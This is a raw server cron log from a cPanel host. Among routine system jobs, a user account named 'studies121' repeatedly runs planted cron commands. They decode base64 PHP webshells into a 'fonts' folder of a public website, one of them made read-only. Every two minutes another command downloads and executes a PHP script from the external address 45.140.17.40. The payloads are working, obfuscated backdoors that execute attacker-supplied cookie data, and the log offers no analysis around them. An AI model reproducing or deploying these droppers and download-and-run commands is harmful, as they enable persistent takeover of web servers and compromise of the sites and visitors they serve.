Sep  1 01:58:01 ip-184-168-122-23 CROND[29701]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:59:01 ip-184-168-122-23 CROND[29793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:59:01 ip-184-168-122-23 CROND[29794]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:59:01 ip-184-168-122-23 CROND[29795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:59:01 ip-184-168-122-23 CROND[29800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:00:01 ip-184-168-122-23 CROND[29926]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 02:00:01 ip-184-168-122-23 CROND[29931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:00:01 ip-184-168-122-23 CROND[29932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:00:01 ip-184-168-122-23 CROND[29936]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 02:00:01 ip-184-168-122-23 CROND[29934]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  1 02:00:01 ip-184-168-122-23 CROND[29933]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 02:00:01 ip-184-168-122-23 CROND[29940]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:00:01 ip-184-168-122-23 CROND[29941]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 02:00:01 ip-184-168-122-23 CROND[29942]: (root) CMD (/usr/local/cpanel/bin/backup)
Sep  1 02:00:01 ip-184-168-122-23 CROND[29943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:01:01 ip-184-168-122-23 CROND[30108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:01:01 ip-184-168-122-23 CROND[30109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:01:01 ip-184-168-122-23 CROND[30111]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:01:01 ip-184-168-122-23 CROND[30112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:01:01 ip-184-168-122-23 CROND[30115]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 02:01:01 ip-184-168-122-23 CROND[30117]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 02:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[30115]: starting 0anacron
Sep  1 02:01:01 ip-184-168-122-23 anacron[30129]: Anacron started on 2026-09-01
Sep  1 02:01:01 ip-184-168-122-23 anacron[30129]: Normal exit (0 jobs run)
Sep  1 02:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[30131]: finished 0anacron
Sep  1 02:02:01 ip-184-168-122-23 CROND[30222]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:02:01 ip-184-168-122-23 CROND[30224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:02:01 ip-184-168-122-23 CROND[30225]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 02:02:01 ip-184-168-122-23 CROND[30227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:02:01 ip-184-168-122-23 CROND[30226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:03:01 ip-184-168-122-23 CROND[30314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:03:01 ip-184-168-122-23 CROND[30316]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:03:01 ip-184-168-122-23 CROND[30313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:03:01 ip-184-168-122-23 CROND[30315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:04:01 ip-184-168-122-23 CROND[30403]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:04:01 ip-184-168-122-23 CROND[30407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:04:01 ip-184-168-122-23 CROND[30406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:04:01 ip-184-168-122-23 CROND[30408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:04:01 ip-184-168-122-23 CROND[30405]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 02:05:01 ip-184-168-122-23 CROND[30511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:05:01 ip-184-168-122-23 CROND[30513]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:05:01 ip-184-168-122-23 CROND[30516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:05:01 ip-184-168-122-23 CROND[30514]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 02:05:01 ip-184-168-122-23 CROND[30515]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 02:05:01 ip-184-168-122-23 CROND[30518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:05:01 ip-184-168-122-23 CROND[30519]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 02:06:01 ip-184-168-122-23 CROND[30700]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 02:06:01 ip-184-168-122-23 CROND[30701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:06:01 ip-184-168-122-23 CROND[30703]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:06:01 ip-184-168-122-23 CROND[30704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:06:01 ip-184-168-122-23 CROND[30705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:07:01 ip-184-168-122-23 CROND[30798]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:07:01 ip-184-168-122-23 CROND[30799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:07:01 ip-184-168-122-23 CROND[30801]: (root) CMD (/usr/local/cpanel/bin/process_ssl_reissue)
Sep  1 02:07:01 ip-184-168-122-23 CROND[30800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:07:01 ip-184-168-122-23 CROND[30802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:08:01 ip-184-168-122-23 CROND[30883]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:08:01 ip-184-168-122-23 CROND[30881]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 02:08:01 ip-184-168-122-23 CROND[30882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:08:01 ip-184-168-122-23 CROND[30884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:08:01 ip-184-168-122-23 CROND[30880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:09:01 ip-184-168-122-23 CROND[30986]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:09:01 ip-184-168-122-23 CROND[30988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:09:01 ip-184-168-122-23 CROND[30990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:09:01 ip-184-168-122-23 CROND[30989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:09:01 ip-184-168-122-23 CROND[30991]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 02:10:01 ip-184-168-122-23 CROND[31085]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 02:10:01 ip-184-168-122-23 CROND[31094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:10:01 ip-184-168-122-23 CROND[31089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
